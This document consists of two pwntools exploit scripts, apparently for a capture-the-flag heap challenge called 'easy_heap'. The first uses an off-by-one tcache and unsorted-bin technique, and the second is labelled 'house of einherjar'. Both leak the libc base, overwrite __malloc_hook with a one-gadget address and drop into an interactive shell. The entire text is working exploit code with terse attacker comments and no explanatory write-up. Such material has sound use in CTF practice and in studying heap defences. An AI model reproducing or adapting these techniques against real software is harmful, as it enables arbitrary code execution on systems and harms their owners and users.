1 from pwn import * 2 #ARCH SETTING 3 context(arch = 'amd64' , os = 'linux') 4 r = process('./easy_heap') 5 #r = remote('127.0.0.1',9999) 6 7 #FUNCTION DEFINE 8 def new(size,content): 9 r.recvuntil("?\n> ")10 r.sendline("1")11 r.recvuntil("size \n> ")12 r.sendline(str(size))13 r.recvuntil("content \n> ")14 r.send(content)15 16 def newz():17 r.recvuntil("?\n> ")18 r.sendline("1")19 r.recvuntil("size \n> ")20 r.sendline(str(0))21 22 def delet(idx):23 r.recvuntil("?\n> ")24 r.sendline("2")25 r.recvuntil("index \n> ")26 r.sendline(str(idx))27 28 def echo(idx):29 r.recvuntil("?\n> ")30 r.sendline("3")31 r.recvuntil("index \n> ")32 r.sendline(str(idx))33 34 #MAIN EXPLOIT35 36 #memory leak37 for i in range(10):38 newz()39 #choose chunk0 2 4 into unsorted bin40 delet(1)41 delet(3)42 for i in range(5,10):43 delet(i)44 #now tcache filled ,waiting queue is idx.1 , 3 , 5~1045 #make unsorted bin: ustbin -> 4 -> 2 -> 0 ,then chunk2 will be leak_target_chunk46 delet(0)47 delet(2)48 delet(4)49 #waiting queue is idx.0~10\chunk9~5 , 3 , 1 ,and now all chunks was freed ,heap was null50 #clean tcache51 for i in range(7):52 newz() #chunk3 is idx.5 (987653:012345)53 #unsorted_bin trans to tcache54 newz() #idx.7:pushing 0x00 on the lowest byte will hijack leak_target_chunk.BK's fd bingo on target!55 new(0xf8,'\x00') #idx.8:1.off-by-one the preinuse bit of chunk3 2.hijack the lowest byte of leak_target_chunk correctly to FD56 #fill tcache but don't touch idx.7 , 8 , 5 (six enough considering chunk0 remained in tcache)57 for i in range(5):58 delet(i)59 delet(6)60 #merge & leak61 delet(5)62 echo(8)63 unsorted_bin = u64(r.recv(6).ljust(8,'\x00'))64 libc_base = unsorted_bin - 0x3dac7865 print(hex(libc_base))66 malloc_hook = libc_base + 0x3dac1067 onegadget = libc_base + 0xfdb8e #0x47ca1 #0x7838e #0x47c9a #0xfccde68 69 #hijack70 #clean tcache71 for i in range(7):72 newz()73 newz() #idx.974 #now we hold idx.8&9 pointing chunk275 delet(0) #passby counts check76 delet(8)77 delet(9)78 new(0x10,p64(malloc_hook))79 newz()80 new(0x10,p64(onegadget))81 82 #fire83 #according to the logic that size is inputed after malloc84 delet(1) #passby idxtable full check85 #x = input("fucking")86 r.recvuntil("?\n> ")87 r.sendline("1")88 r.interactive()
exp2:house of einherjar
1 from pwn import * 2 #ARCH SETTING 3 context(arch = 'amd64' , os = 'linux') 4 r = process('./easy_heap') 5 #r = remote('127.0.0.1',9999) 6 7 #FUNCTION DEFINE 8 def new(size,content): 9 r.recvuntil("?\n> ") 10 r.sendline("1") 11 r.recvuntil("size \n> ") 12 r.sendline(str(size)) 13 r.recvuntil("content \n> ") 14 r.send(content) 15 16 def newz(): 17 r.recvuntil("?\n> ") 18 r.sendline("1") 19 r.recvuntil("size \n> ") 20 r.sendline(str(0)) 21 22 def delet(idx): 23 r.recvuntil("?\n> ") 24 r.sendline("2") 25 r.recvuntil("index \n> ") 26 r.sendline(str(idx)) 27 28 def echo(idx): 29 r.recvuntil("?\n> ") 30 r.sendline("3") 31 r.recvuntil("index \n> ") 32 r.sendline(str(idx)) 33 34 #MAIN EXPLOIT 35 36 #memory leak 37 #prepare for EG attack ,we will build a chunk with presize 0x200 38 for i in range(10): 39 newz() 40 #fill tcache 41 for i in range(3,10): 42 delet(i) 43 #chunk0 1 merge to ustbin, and the chunk2.presize will be 0x200 44 delet(0) 45 delet(1) 46 delet(2) #to make presize stable;maybe only link change both presize and sizeinuse, unlink only change inuse 47 #x = input("debug") 48 #then our target is cross-merge 49 #for cross-merge we must make sure that chunk0 is freed for bypass 50 #clean tcache 51 for i in range(7): 52 newz() #idx.0~7 53 #x = input("debug33") 54 newz() #idx.7 chunk0 55 #x = input("debug33") 56 newz() #idx.8 chunk1 57 #x = input("debug33") 58 newz() #idx.9 chunk2 59 #x = input("debugggg") 60 #fill tcache 61 for i in range(0,7): 62 delet(i) 63 #chunk0 into unsorted bin to correct fd & bk for bypass unlink check 64 delet(7) 65 #out a chunk from tcache to give a space for chunk1 in-out ,in order to prevent merging again 66 newz() #idx.0 67 delet(8) 68 new(0xf8,'\x00') #idx.1 ,we hold it 69 delet(0) #give back idx.0 to refill tcache 70 delet(9) #fire 71 #x = input("debug0") 72 #clean tcache 73 for i in range(7): 74 newz() #idx:0 , 2~7 75 newz() #idx.8 to cut chunk0, now chunk1.fd & bk point unsorted bin merging with chunk2 76 #x = input("debug") 77 echo(1) 78 unsorted_bin = u64(r.recv(6).ljust(8,'\x00')) 79 libc_base = unsorted_bin - 0x3dac78 80 print(hex(libc_base)) 81 malloc_hook = libc_base + 0x3dac10 82 onegadget = libc_base + 0xfdb8e #0x47ca1 #0x7838e #0x47c9a #0xfccde 83 #x = input("pause") 84 85 #hijack 86 newz() #idx.9 87 #now we hold idx.1&9 pointing chunk1 88 delet(0) #passby counts check 89 delet(1) 90 delet(9) 91 new(0x10,p64(malloc_hook)) 92 newz() 93 new(0x10,p64(onegadget)) 94 95 #fire 96 #according to the logic that size is inputed after malloc 97 delet(2) #passby idxtable full check 98 #x = input("fucking") 99 r.recvuntil("?\n> ")100 r.sendline("1")101 r.interactive()